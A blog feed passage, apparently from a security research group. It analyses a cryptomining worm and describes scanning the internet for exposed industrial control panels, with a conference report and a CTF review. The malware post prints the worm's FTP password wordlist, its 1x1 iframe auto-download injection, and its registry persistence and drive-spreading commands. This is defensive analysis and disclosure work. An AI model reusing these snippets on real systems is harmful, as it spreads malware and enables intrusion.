</span><span class='line'>[...]string=derok010101
</span><span class='line'>[...]string=windows
</span><span class='line'>[...]string=123qwe
</span><span class='line'>[...]string=email@email.com</span></code></pre></td></tr></table></div></figure>


<p>The following strings of typical filetypes on a webserver might be a sign that the malware is changing their content to hide or spread itself.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=.php
</span><span class='line'>[...]string=.PHP
</span><span class='line'>[...]string=.htm
</span><span class='line'>[...]string=.HTM
</span><span class='line'>[...]string=.xml
</span><span class='line'>[...]string=.XML
</span><span class='line'>[...]string=.dhtm
</span><span class='line'>[...]string=.DHTM
</span><span class='line'>[...]string=.phtm
</span><span class='line'>[...]string=.xht
</span><span class='line'>[...]string=.htx
</span><span class='line'>[...]string=.mht
</span><span class='line'>[...]string=.bml
</span><span class='line'>[...]string=.asp
</span><span class='line'>[...]string=.shtm</span></code></pre></td></tr></table></div></figure>


<p>The manipulation consists of placing a 1x1 pixel sized Iframe, in which the malicious photo.scr is embedded.
The code for that is:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=\n&lt;iframe src=Photo.scr width=1 height=1 frameborder=0&gt;\n&lt;/iframe&gt;\n</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/photo-virus-3.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/photo-virus-3.png" alt="Screenshot of a websites sourcecode with autodownload via iframe" title="1x1 pixel Iframe in a websites sourcecode" /></a></p>

<p>To achieve persistence, an autostart entry is created by using a registry entry. Additionally it tries to copy itself to all attached storage devices as seen below.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=/c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run" /d "%s" /t REG_SZ /f
</span><span class='line'>[...]string=/c for %%i in (A B C D E F G H J K L M N O P R S T Q U Y I X V X W Z) do xcopy /y "%s" %%i:\</span></code></pre></td></tr></table></div></figure>


<h2>Spreading methods and possible damage</h2>

<p>The malware is using diffrent methods to infect other machines:</p>

<ul>
<li>Bruteforcing of FTP-servers (with wordlist)</li>
<li>Copying itself to all attatched storage devices</li>
<li>Using a 1x1 pixel sized Iframe within HTML-files to start an autodownload</li>
<li>Setting up a wifi-hotspot (found in samples of <a href="https://www.guardicore.com/2016/06/the-photominer-campaign/">GuardiCore</a>)</li>
</ul>


<p>In diffrence to ransomware, there is no visible damage, because the software only useses the CPU and only a tiny bit of storage - in general all services should work like before - only a bit slower. We also discovered the malware on Industrial Control Systemes - Viruses and trojans in such environments can become very dangerous if they try to spread aggressively.</p>

<p>It is not clear who the actual author is - but we think that the cybercriminals are really making a good profit off this mining botnet. It might be in a 6 or even 7-digits area.</p>

<p>We made a rough estimation and would like to share our calculation: We looked at the default <a href="https://docs.google.com/spreadsheets/d/1MI-ic0Os25hgGUImW54sUIjZY_pUNQNa_W8Se5pRGBs/edit?pli=1#gid=0">mining configurations for monero</a> and assumed that a great share of all infected systems might have a hashrate of 62 H/s (average dual core PC). (This hypothesis is very cautious, because gaming computers or server systems might have an even higher rate.) Furthermore we assumed a mining fee of 2%, which is also higher than normal, so a negativ aspect for the cybercriminals. If we use those preconditions and look at a <a href="http://www.coinwarz.com/calculators/monero-mining-calculator/?h=62.00&amp;p=0.00&amp;pc=0.00&amp;pf=2.00&amp;d=2329063878.00000000&amp;r=10.95060000&amp;er=0.00422106&amp;btcer=601.41970000&amp;hc=0.00">mining calculator</a> we get some interesting results:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>50000 * 0,44 $ = 22000 $</span></code></pre></td></tr></table></div></figure>


<p>Assuming 50000 infected machines, one would generate up to 22000 $ a week.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>22000 $ * 36 = 792000 $</span></code></pre></td></tr></table></div></figure>


<p>Because the threat actor has been active since last year or at least the beginning of 2016 (other reports of security experts point that out, for example <a href="https://www.guardicore.com/2016/06/the-photominer-campaign/">GuardiCore</a>), we can multiply it by the number of weeks passed in 2016 and we should have a quite good guess on how much the criminals may have earned. Of course one can also say that not all PCs are mining all the time and that AV engines might detect the virus - but the used assumption of 50000 infected machines could also vary and be much higher or lower in reality, partly because of the aggressive spreading techniques.</p>

<p>Some time ago <a href="https://community.fireeye.com/external/1475">Fireeye</a> detected a malware sample from the same family - it used .top-domains for spreading. The command and control servers are the same as in our samples - so it is possible that it is the same threat actor or that it is kind of Malware as a Service Program (cybercriminal pay other cyberciminals for spreading their malware to victims)</p>

<h2>Prevention and defense</h2>

<p>The following list is a short overview of possible defense methods, in order to not get infected and to protect ourselfs from becoming part of an unwilling mining operation.</p>

<p>As a provider or administrator:</p>

<ul>
<li>Use strong passwords for FTP accounts</li>
<li>Ban IPs which generate a lot of failed login attempts</li>
<li>Blacklist the mentioned domains in your proxy service or firewall</li>
<li>Keep the AV engine up to date</li>
</ul>


<p>As an enduser:</p>

<ul>
<li>Be sceptical: Don&#8217;t open strange files with a double click</li>
<li>Enable the option to show all file extentions in Windows</li>
<li>Carefully use untrusted WiFis</li>
<li>Don&#8217;t run autodownloaded scripts or applications</li>
<li>Keep the AV engine up to date</li>
</ul>


<p>The team of Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[How we pwned your ICS or why you should not put your HMI on the internet]]></title>
    <link href="https://en.internetwache.org/how-we-pwned-your-ics-or-why-you-should-not-put-your-hmi-on-the-internet-18-08-2016/"/>
    <updated>2016-08-18T22:28:00+02:00</updated>
    <id>https://en.internetwache.org/how-we-pwned-your-ics-or-why-you-should-not-put-your-hmi-on-the-internet</id>
    <content type="html"><![CDATA[<p>The team of Internetwache.org has researched the security of industrial control systems (ICS) for the past months and we have discovered more than hundred unsecured controls of waterworks, heating stations, parking lots and buildings.</p>

<!-- more -->


<p>Everything started last year around october when Tim discovered a privacy issue at the swiss Prime Tower (<a href="http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html">article in german</a>). Excited by this discovery he decided to look for further ICS and shortly discovered more. The first more interesting system was a waterwork, which after a report to the german CERT (BSI), was taken offline a couple of days later. At this point Tim and Sebastian decided to do a broader scan. You can find the results in the <a href="http://www.golem.de/news/schwachstellen-aufgedeckt-der-leichtfertige-umgang-mit-kritischen-infrastrukturen-1607-122063.html">german article on Golem.de</a>.</p>

<p>This blog post will try to describe the used methods, some numbers and background information.</p>

<h2>All beginnings are difficult</h2>

<p>At the beginning, Tim started out with a little python script and tried to scan the internet. He succeeded in finding some interesting things, however the process itself was slow. Nevertheless, Tim was able to pinpoint a specific value in a http header which most likely identified an ICS, which used a specific control panel. All that was missing was a more efficient process.</p>

<p>Sebastian had the idea of using <a href="https://zmap.io/">Zmap</a>, a tool developed by the university of Michigan, in combination with the tool <a href="https://github.com/zmap/zgrab">Zgrab</a> to scan the IPv4 space for the specific identifier. Regarding to the project&#8217;s website, one can scan the whole IPv4 space in just five minutes when an appropriate internet connection is used. This would allow us to scan a specific port and later apply different filter criterias on the dataset to discover different systems.</p>

<p>The command looked like this:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sudo zmap -B 10M -p 80 --output-fields='*' | ztee results.csv | zgrab --port 80 --http="/" | gzip &gt;  banners.gz </span></code></pre></td></tr></table></div></figure>


<p>Admittedly, this approach was not the best one for us, because we couldn&#8217;t find an appropriate internet connection or hoster which would allow us to do such a scan without dealing with a lot of abuse mails and so on. Additionally, a slower connection (&lt; 1 Gb/s) would have increased the scan duration to several hours or days.</p>

<p>That&#8217;s why we chose another option: Sebastian remembered that the project <a href="https://scans.io/">scans.io</a> publishes exactly the same datasets that we wanted to create. Those datasets consist of different, internet-wide scans of different ports and protocols and are usually created every other week. In <a href="https://scans.io/study/sonar.http">this category</a> are weekly scans of HTTP requests and their responses to port 80. We used the lastest dataset, which was compressed around 80 gigabytes in size with exactly 62276536 entries.
It contains all IPs out of the IPv4 space which successfully responded to a GET request.</p>

<p>Every entry contains the following information as JSON:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>{
</span><span class='line'>    "ip": "8.8.8.8"
</span><span class='line'>    "host": "8.8.8.8",
</span><span class='line'>    "vhost": "8.8.8.8", 
</span><span class='line'>    "port": 80, 
</span><span class='line'>    "data": base64(HTTP-answer), 
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>The &#8216;data&#8217;-field contains the full base64-encoded http response including all headers and the body.</p>

<h2>Performing the scan</h2>

<p>All human machine interfaces (HMIs) could be identified by a specific value in a HTTP header (2 diffrents varients/versions). Sebastian wrote a python script which decompressed the dataset, read it line-by-line and then looked for that specific value in the base64-decoded string. This reduced the dataset to 1796 entries.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 filter_scansio.py
</span><span class='line'>$&gt; wc -l output*.ips
</span><span class='line'>     142 output-type1.ips
</span><span class='line'>    1654 output-type2.ips</span></code></pre></td></tr></table></div></figure>


<p>The script&#8217;s output probably contains some unnecessary empty or duplicate lines. Extracting all ip adresses gives a better number:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; grep -oP "\d+\.\d+\.\d+\.\d+" /tmp/output-*.ips | sort | uniq | tac | wc -l 
</span><span class='line'>838</span></code></pre></td></tr></table></div></figure>


<p>In a first run we checked all ip addresses to see if they are still online and whether they are associated with a HMI or not. We noticed that most HMIs are http basic authentication protected - but we did not only find ICS, but also some porn websites which used the same pattern in the html code. We wanted to get rid of those &#8220;false positives&#8221;.</p>

<p>So we used another filter. In this case we used the name of a specific javascript file which was used by the software.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 js_filter.py | sort | uniq | tac | wc -l </span></code></pre></td></tr></table></div></figure>


<p>The dataset became smaller again - there were only a bit more than 60 systems left which did not make use of HTTP basic authentication.</p>

<p>After a few contacts with the affected operators we found out that our procedure to manually verify the status of an ICS was not very effective. This was the reason why Sebastian developed a plugin for the Nmap-Script-Engine (NSE), which was used to activate the filters and to look if the patterns apply. The final command looked like this:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; nmap -n -PN -d --script nmap-find-hmis.nse -p 80 -iL all.ips  -oX nmap-all-ips-plugin-scan.xml -T paranoid</span></code></pre></td></tr></table></div></figure>


<p>
The output of the script was in nmap&#8217;s XML-format and only had to be filtered for diffrent categories:</p>

<ul>
<li>&#8220;Discovered, authenticated&#8221;</li>
<li>&#8220;Discovered, unauthenticated&#8221;</li>
<li>&#8220;Not Discovered&#8221;</li>
</ul>


<p>To do so we coded another python-script:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Discovered, unauthenticated" | wc -l 
</span><span class='line'>42
</span><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Discovered, authenticated" | wc -l 
</span><span class='line'>40 
</span><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Not Discovered" | wc -l
</span><span class='line'>673 </span></code></pre></td></tr></table></div></figure>


<p>&#8220;unauthenticated&#8221; stands for ICS which did not make use of HTTP-basic-authentication and &#8220;authenticated&#8221; for basic auth-protected systems. Depending on the proxy and timeouts there were a few variations of the results - some systems had a very long response time, because they were in another part of the world or had a slow internet connection.</p>

<h2>Results</h2>

<p>At the end we had a list - we were able to use this list to find out a few interesting things about ICS. Out of all discovered ICS, only 50% were properly protected from unauthorized access by http basic authentication (however, still over an insecure HTTP connection). We didn&#8217;t want to use brute force or similar intrusive methods, so we focused on the accessible, unauthenticated systems. Simply typing the IP address into a browser&#8217;s address bar was enough. We identifed four major categories:</p>

<ul>
<li>Waterworks: 4</li>
<li>Parking lots: ~10</li>
<li>Smart homes or hotels: >5</li>
<li>Biogas-/block or remote heating stations: 7</li>
</ul>


<p>Geo-IP location helped us to estimate the affected countries, which are mostly from the DACH-area (Germany, Austria, Switzerland), but also USA, France, Italy, Isreal. This might be due to the fact that the vendor of the HMI sells it in the DACH area and lets reseller cover the other countries.</p>

<p>After analyzing our results we proceeded to contact more than ten different CERTs - most countries have one - informing them about the problem and systems which are at risk in their country. We politely asked to get in touch with the operators to secure the systems. A handful of CERTs thanked us for the information and assured us that they&#8217;ll try to contact the appropiate administrators. Sure enough more and more systems went offline or activated the password protection in the following weeks.</p>

<p>You can read more about this in the <a href="http://www.golem.de/news/schwachstellen-aufgedeckt-der-leichtfertige-umgang-mit-kritischen-infrastrukturen-1607-122063.html">german article on Golem.de</a>.</p>

<h2>Vulnerabilities</h2>

<p>During this project we also had a look at the webapplication&#8217;s security, after Tim had a first assumption at a specific point. Sure enough Sebastian was able to turn Tim&#8217;s assumption into a simple XSS. Furthermore he discovered a HTTP header injection. Both vulnerabilities are currently coordinated by the Cert-CC, but we&#8217;ll give more information as soon as the vendor releases a fix and CVE-IDs are assigned.</p>

<h2>Timeline</h2>

<p>To get an impression of how things went, we&#8217;ll share a rough timeline:</p>

<ul>
<li><p><strong><em>October 2015</em></strong></p>

<ul>
<li> Looking into industrial routers / Discovery: Prime Tower web application</li>
</ul>
</li>
<li><p><strong><em>October 2015 - January 2016</em></strong></p>

<ul>
<li> Multiple reports to the company => 3 months, end of responsible disclosure timeframe</li>
</ul>
</li>
<li><p><strong><em>22.01.2016</em></strong></p>

<ul>
<li> Article on <a href="http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html">golem.de</a></li>
</ul>
</li>
<li><p><strong><em>22.01.2016 (6 hours after publication)</em></strong></p>

<ul>
<li> Web application offline / Operator&#8217;s statement <a href="https://hacking-im-web.de/blog-sicherheit-prime-tower.html">(see detailed description and analysis of the results)</a></li>
</ul>
</li>
<li><p><strong><em>March / April 2016</em></strong></p>

<ul>
<li> Analysis of the saved data (HTTP-Requests, etc.), writing a scanner-script and using zmap</li>
</ul>
</li>
<li><p><strong><em>Beginning of April 2016</em></strong></p>

<ul>
<li> First scan of public IP addresses (Discovered of some systems - more or less critical)</li>
</ul>
</li>
<li><p><strong><em>11.04.2016</em></strong></p>

<ul>
<li><p> Email: Asking the vendor if they&#8217;re aware of not properly configured systems</p>

<ul>
<li>Requesting the security-manual</li>
<li>First request about specific parameters (which will later become security relevant)</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Mitte April 2016</em></strong></p>

<ul>
<li> Weekend: Furthers scans / Analysis: Discovery of a waterwork (!), Tim and Sebastian discover an XSS</li>
</ul>
</li>
<li><p><strong><em>17.04.2016</em></strong></p>

<ul>
<li> Email to Bund-CERT (BSI) - Informing them about the waterworks</li>
</ul>
</li>
<li><p><strong><em>18.04.2016</em></strong></p>

<ul>
<li> BSI acknowledgement: &#8220;We&#8217;ll contact the operators and try to help/fix it&#8221; (quote translated)</li>
</ul>
</li>
<li><p><strong><em>19.04.2016</em></strong></p>

<ul>
<li> Response from vendor - Mostly general information about products</li>
</ul>
</li>
<li><p><strong><em>19.04.2016</em></strong></p>

<ul>
<li><p> Response to vendor</p>

<ul>
<li>Information about XSS</li>
<li>Mention: Discovery of waterwork</li>
<li>Request: Phone call</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>End of April 2016</em></strong></p>

<ul>
<li> Sebastian discovers HTTP-Header-Injection (Proof of Concept send to the vendor)</li>
</ul>
</li>
<li><p><strong><em>20.05.2016 (1 month after our first answer)</em></strong></p>

<ul>
<li> Response from vendor - Phone call is possible</li>
</ul>
</li>
<li><p><strong><em>20.05.2016</em></strong></p>

<ul>
<li> Phone call with vendor via Skype</li>
<li><p> Content:</p>

<ul>
<li>Vendor is not responsible for the client&#8217;s configuration</li>
<li>Vendor does not want to give general security information to clients, but can do so via its resellers.</li>
<li>Security-Manual: Work in progress, will be handed out in May</li>
<li>Request for a Demo system: Might be possible at the end of May</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>End of May</em></strong></p>

<ul>
<li><p> Sebastian develops a new script => better and faster scanning possible</p>

<ul>
<li>Usage of scans.io datasets</li>
<li>Development of a nmap plugin</li>
<li>Performing the broader scan (More than 120 hits, partly password protected)</li>
<li>First analysis of the results (further discoveries)</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>26.05.2016</em></strong></p>

<ul>
<li><p> Email to vendor</p>

<ul>
<li>Mention of the main scan results</li>
<li>Appeal for quick fixes</li>
<li>Appeal for distribution of security information over resellers</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>End of May 2016</em></strong></p>

<ul>
<li> Informing more than ten CERTs</li>
</ul>
</li>
<li><p><strong><em>06.06.2016</em></strong></p>

<ul>
<li> Response from Vendor (last received email): general information</li>
</ul>
</li>
<li><p><strong><em>09.06.2016</em></strong></p>

<ul>
<li> Response to vendor: Specific questions about vulnerabilities and disclosure process.</li>
</ul>
</li>
<li><p><strong><em>17.06.2016</em></strong></p>

<ul>
<li> Last request about more information</li>
<li> No reaction:

<ul>
<li>No information about the vulnerabilities</li>
<li>No security manual (manual for a secure operation of the software) => Should had been ready by May</li>
<li>No demo system</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>End of June / Beginning of July 2016</em></strong></p>

<ul>
<li> Contacting multiple CERTs/operators again</li>
<li> Waiting for operators to secure their systems</li>
</ul>
</li>
<li><p><strong><em>Beginning of July 2016</em></strong></p>

<ul>
<li> Reporting the vulnerabilities to CERT-CC asking for coordination/disclosure help</li>
</ul>
</li>
<li><p><strong><em>15.07.2016</em></strong></p>

<ul>
<li> Publication the article on <a href="http://www.golem.de/news/schwachstellen-aufgedeckt-der-leichtfertige-umgang-mit-kritischen-infrastrukturen-1607-122063.html">golem.de</a></li>
<li> Publication of the tease-article at <a href="http://www.spiegel.de/netzwelt/web/deutschland-sicherheitsluecke-wasserwerke-ungeschuetzt-im-internet-a-1103147.html">Spiegel.de</a></li>
<li> News spread across media</li>
</ul>
</li>
<li><p><strong><em>16.07.2016</em></strong></p>

<ul>
<li> Publication of the article in <a href="http://www.spiegel.de/spiegel/it-sicherheit-industrie-4-0-anfaellig-fuer-cyberattacken-a-1103685.html">Print Spiegel</a></li>
</ul>
</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Going to Troopers 2016]]></title>
    <link href="https://en.internetwache.org/going-to-troopers-2016-04-04-2016/"/>
    <updated>2016-04-04T17:41:00+02:00</updated>
    <id>https://en.internetwache.org/going-to-troopers-2016</id>
    <content type="html"><![CDATA[<p><a href="https://twitter.com/gehaxelt">Sebastian</a> attended <a href="http://troopers.de">Troopers</a>, an IT Security event in Heidelberg (Germany) organized by ERNW GmbH from the 14th to 18th of March 2016. He wants to share his experiences in this blogpost.</p>

<!-- more -->


<p>Sebastian had the chance to go to Heidelberg in March.  He instantly booked the buses and enjoyed learning a lot as well as meeting awesome people.</p>

<p>The conference can be seperated into three parts:</p>

<ul>
<li>The <a href="https://www.troopers.de/troopers16/trainings/">trainings</a> took place on the 14th and 15th of March and were one or two day long workshops about different topics. At the same time the IPv6-Security-Summit was held.</li>
<li>The <a href="https://www.troopers.de/troopers16/agenda/">main conference</a> took place on the 16th and 17th of March.</li>
<li>The <a href="https://www.troopers.de/troopers16/roundtables/">roundtables</a> closed the conference on the 18th March and gave you the chance to discuss chosen topics.</li>
</ul>


<p>Sebastian applied with a &#8220;Student Motivation Letter&#8221; for the main conference and was accepted as one of the &#8220;Next Generation Hackers&#8221;. After a 13 hour long busdrive (from Berlin) he arrived and instantly met two other student-&#8220;hackers&#8221; in the hostel. The main conference started with an awesome introduction and keynote on wednesday morning. There were around 300 visitors of whom 50 were speakers. The talks were categorized in three seperate tracks:</p>

<ul>
<li>Attack &amp; Research</li>
<li>Defemse &amp; Management</li>
<li>SAP Security</li>
</ul>


<p>There were so many interesting talks,  it is hard to figure out which to highlight here. Nevertheless, here&#8217;s a small list of quite informative talks:</p>

<ul>
<li><a href="https://www.troopers.de/events/troopers16/602_mind_the_gap_-_exploit_free_whitelisting_evasion_tactics/">Casey Smith - Mind The Gap - Exploit Free Whitelisting Evasion Tactics</a></li>
<li><a href="https://www.troopers.de/events/troopers16/630_attacking_next-generation_firewalls/">Felix Wilhelm - Attacking Next-Generation Firewalls</a></li>
<li><a href="https://www.troopers.de/events/troopers16/631_imma_chargin_mah_lazer_-_how_to_protect_against_ddos_attacks/">Oliver Matula - Imma Chargin Mah Lazer - How to protect against (D)DoS attacks</a></li>
<li><a href="https://www.troopers.de/events/troopers16/624_hollywood_hacking/">Adrian Dabrowski - Hollywood Hacking</a></li>
<li><a href="https://www.troopers.de/events/troopers16/691_how_easy_to_grow_robust_botnet_with_low_hanging_fruits_iot_-_for_free/">Attila Marosi - How easy to grow robust botnet with low hanging fruits (IoT) - for free</a></li>
</ul>


<p>But the talks were not the only attraction at Troopers. The organizers set up an event-only GSM-network and also a local CTF. You can find Sebastian&#8217;s writeup for the solutions to the local and PacketWars CTF at <a href="https://0day.work/troopers-2016-challenge-and-packetwars-writeups/">0day.work</a>. PacketWars started right after the shared dinner on wednesday evening. &#8216;Squareroots&#8217; was the team Sebastian participated in and they won the first place.</p>

<p>Another highlight were the electronic badges which were distributed by the &#8220;Badge master&#8221; on the second day of the main conference.</p>

<p><a rel="fancybox"href="/images/posts/troopers16-badge.jpg" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/troopers16-badge.jpg" alt="picture of the  electronic badge" title="electronic badge of Trooper 2016" /></a></p>

<p>Another nice hardware-gadget was a self-soldered USB-condom. The small USB-adapter cuts the data lines and thus allows you to charge your device on an untrusted charger by only powering the device.</p>

<p><a rel="fancybox"href="/images/posts/troopers16-usb.jpg" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/troopers16-usb.jpg" alt="picture of USB-condoms" title="selfmade USB-condom" /></a></p>

<p>All in all one can say, that the event was organized very well. It helped Sebastian&#8217;s personal progress  and he met a lot of new nice people. He would be happy and is looking forward to participate as a student again next year.</p>

<p>The team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Internetwache CTF 2016 review]]></title>
    <link href="https://en.internetwache.org/internetwache-ctf-2016-review-01-03-2016/"/>
    <updated>2016-03-01T23:42:00+01:00</updated>
    <id>https://en.internetwache.org/internetwache-ctf-2016-review</id>
    <content type="html"><![CDATA[<p>Penultimate weekend, we hosted our very first jeopardy style capture the flag event: The Internetwache CTF 2016</p>

<p>In this blogpost, we will write about the CTF from the organizer&#8217;s perspective. What was the setup? What went wrong? What did we learn? What was good? What can we do better next year?
We hope that this insight can help other CTF organizers in the future.</p>

<!-- more -->


<p>First of all, some words about us: Sebastian (aka <a href="https://twitter.com/gehaxelt">gehaxelt</a> ) participated as part of the <code>ENOFLAG</code> team in various CTFs (jeopardy / attack-defense) in the past. <a href="https://twitter.com/TimPhSchaefers">Tim</a> (aka TPS) is not a regular CTF player - but was curious about helping Sebastian to host the first Internetwache CTF.</p>

<p>Somewhen during last november, Sebastian had the idea of hosting a jeopardy-style CTF. He was curious to see what it takes to host a CTF and to create challenges for other hackers. Fast forward to the beginning of february 2016 - We announced the CTF on <a href="https://ctftime.org/event/290">ctftime.org</a> and got an initial rating weight of 5.00. Afaik the rating is based on the ctftime-admin&#8217;s subjectivity. As we assumed a weight of 0.00 (like other CTFs), we were ok with that, but hope to get a better rating next year  :)</p>

<p>The CTF should take place on the the 20th of february 2016, so there were around 3 weeks to setup and finalize everything. A &#8216;speciality&#8217; was, if you want to call it that, that we did not sort the challenges by difficulty. There were two reasons for this: First is that it was a bit hard for us to estimate the difficulty of a challenge. Second is that you should be able to find the tasks you can solve  in a short period of time - similarly to exams ;)</p>

<p>All in all we think that the CTF wasn&#8217;t bad - at least we had a lot of fun and positive feedback from the community. We&#8217;ll have a look at the feedback later on.</p>

<h2>Some numbers:</h2>

<p>Simply to give you an overview over the CTF in numbers:</p>

<ul>
<li>Scoreboard: <a href="https://ctf.internetwache.org/scoreboard">https://ctf.internetwache.org/scoreboard</a></li>
<li>Duration: 36 hours (20 Feb. 2016, 12:00 CET — 22 Feb. 2016, 00:00 CET)</li>
<li>Registered teams: ~1500</li>
<li>Active teams: ~650</li>
<li>Teams that solved all challenges: 38</li>
<li><a href="https://ctftime.org/event/290/">Ctftime.org</a> rating: 4.5</li>
<li><a href="https://ctftime.org/event/290/">Ctftime.org</a> weight: 5.00</li>
<li>Wall of Shame: 35 IP addresses</li>
<li>HTTP requests: 2336957</li>
<li>Traffic: ~20 GB</li>
<li>Costs: 20$ (Hosting)</li>
<li>Prizes: 0 (None) (If you want to be the sponsor for next year&#8217;s edition, feel free to send us an <a href="https://en.internetwache.org/pgp-contact/">email</a> :) )</li>
</ul>


<p>We were excited to have as many as 650 active teams (solving at least one challenge). That&#8217;s a bit less than 50% of the total registration count. What disasspointed us were the 35 people who didn&#8217;t read the rules and used agressive automated tools and won a place in our iptables ruleset. However, some apologized and we were happy to unblock them again :) Another number that we over-estimated was the amount of traffic or resources in general.</p>

<h2>Setup</h2>

<p>For the hosting part we relied on <a href="https://m.do.co/c/e3c0f58ce639">Digitalocean.com</a>, because we still had some <a href="https://en.internetwache.org/bug-bounty-digitalocean-fixes-multiple-csrf-vulnerabilities-12-03-2014/">bugbounty reward $$$</a> on our account and Sebastian is satisfied with them. Further reasons were that spinning up VMs takes less than a minute and that snapshots are free of charge what made testing different configurations a great experience.</p>

<p>We rent 4 VMs in total:</p>

<ul>
<li>1x $5/mo as the monitoring VM, which collected and displayed the performance data of all other VMs with <a href="https://collectd.org/">Collectd</a></li>
<li>3x $80/mo VM for the proxy, service and webserver VMs.</li>
</ul>


<p>The <code>ctf.internetwache.org</code> domain pointed to a floating-ip which in turn pointed to the proxy-VM. All four VMs were interconnected using Digitalocean&#8217;s private network feature.</p>

<p>On the proxy-VM we configured NGINX to act as a load-balancer for the HTTP(s) and the TCP traffic.
The web traffic was proxied to the webserver VM and the TCP traffic to the service VM. This central proxy allowed us to easily stop malicious attackers and scale to more VMs if needed.
The webserver VM ran apache2, mysql and php5. We used the <a href="http://mpm-itk.sesse.net/">apache2-mpm-itk</a> module to assign every vhost a different user. The service VM used tools like <a href="http://cr.yp.to/daemontools.html">Daemontools</a> and <a href="http://cr.yp.to/ucspi-tcp/tcpserver.html">TCPServer</a> to host the services.
All VMs had <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Resource_Management_Guide/ch01.html">Cgroups</a> configured to limit resources of the CTF users in the <code>ctf</code> group.</p>

<p>This setup seems to be pretty solid, because we didn&#8217;t have any major load or stability issues during the CTF. In retrospect we could have used smaller VMs, but the cost difference was only ~$6.5 for the whole event and that was totally worth not having to worry about resources. During the CTF we only faced one minor incident.</p>

<p>We based <a href="https://github.com/internetwache/tinyctf-platform">our scoreboard</a> on the <a href="https://github.com/balidani/tinyctf-platform">tinyctf-platform</a>. It&#8217;s written in python, easy to extend (we implemented CSRF protection and other features) and nice to look at. This scoreboard is Internetwache-approved and we may use it again next year.</p>

<h2>Challenges</h2>

<p>Let&#8217;s have a look at the challenges. There were six categories with five challenges each:</p>

<h3>Misc</h3>

<ul>
<li>Misc50: Octal and base64 encoding</li>
<li>Misc60: Base64 and QR codes</li>
<li>Misc70: Pcap dump with zip file</li>
<li>Misc80: DNS requests and hex</li>
<li>Misc90: Barcodes</li>
</ul>


<h3>Web</h3>

<ul>
<li>Web50: PHP magic hashes</li>
<li>Web60: PHP preg_replace with e modifier RCE</li>
<li>Web70: MySQL truncation vulnerability</li>
<li>Web80: Public git directory</li>
<li>Web90: Latex RCE</li>
</ul>


<h3>Rev</h3>

<ul>
<li>Rev50: MIPS assembly</li>
